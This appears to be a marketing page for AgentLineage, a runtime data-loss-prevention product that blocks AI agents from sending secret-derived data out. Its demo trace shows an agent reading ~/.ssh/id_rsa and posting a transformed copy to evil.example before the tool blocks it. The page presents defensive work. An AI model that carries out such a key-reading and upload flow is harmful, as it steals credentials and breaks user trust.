Track sensitive data
Files, environment values, prompts, tool inputs, and generated-code inputs become provenance-aware values.
Provenance-aware DLP for AI agents
AgentLineage tracks where sensitive data comes from and blocks unsafe tool, code, subprocess, and network actions before egress.
agent reads ~/.ssh/id_rsa
secret -> TrackedStr
payload = transform(secret)
HTTP POST https://evil.example/upload
BLOCK SecretToNetwork
source: file:id_rsa
sink: urllib.request.urlopen
path: read -> replace -> lower -> encode -> send
Runtime dataflow enforcement
AgentLineage follows sensitive data through tools, generated code, and supported IO boundaries, then blocks unsafe egress before real-world effects happen.
Files, environment values, prompts, tool inputs, and generated-code inputs become provenance-aware values.
Transformations carry source history into derived strings, bytes, containers, and tool outputs.
HTTP, subprocess, tool, and code-execution boundaries check payload provenance before they run.
Reports show the source, transformation path, sink, policy, code hash, and event sequence.
Why AgentLineage
Agent security needs more than prompt filters and tool allowlists. AgentLineage makes security decisions from runtime provenance.
Block secret-derived payloads before they cross supported network, tool, or subprocess boundaries.
Allow safe actions when AgentLineage can prove the outgoing payload is not derived from sensitive data.
Give security teams structured evidence showing what was read, transformed, and blocked.
Wrap agent tools, generated-code execution, and egress paths without replacing the orchestration framework.
Private preview
Show us an agent workflow that touches repositories, tickets, customer data, credentials, or cloud APIs. We will help evaluate where sensitive data can flow.
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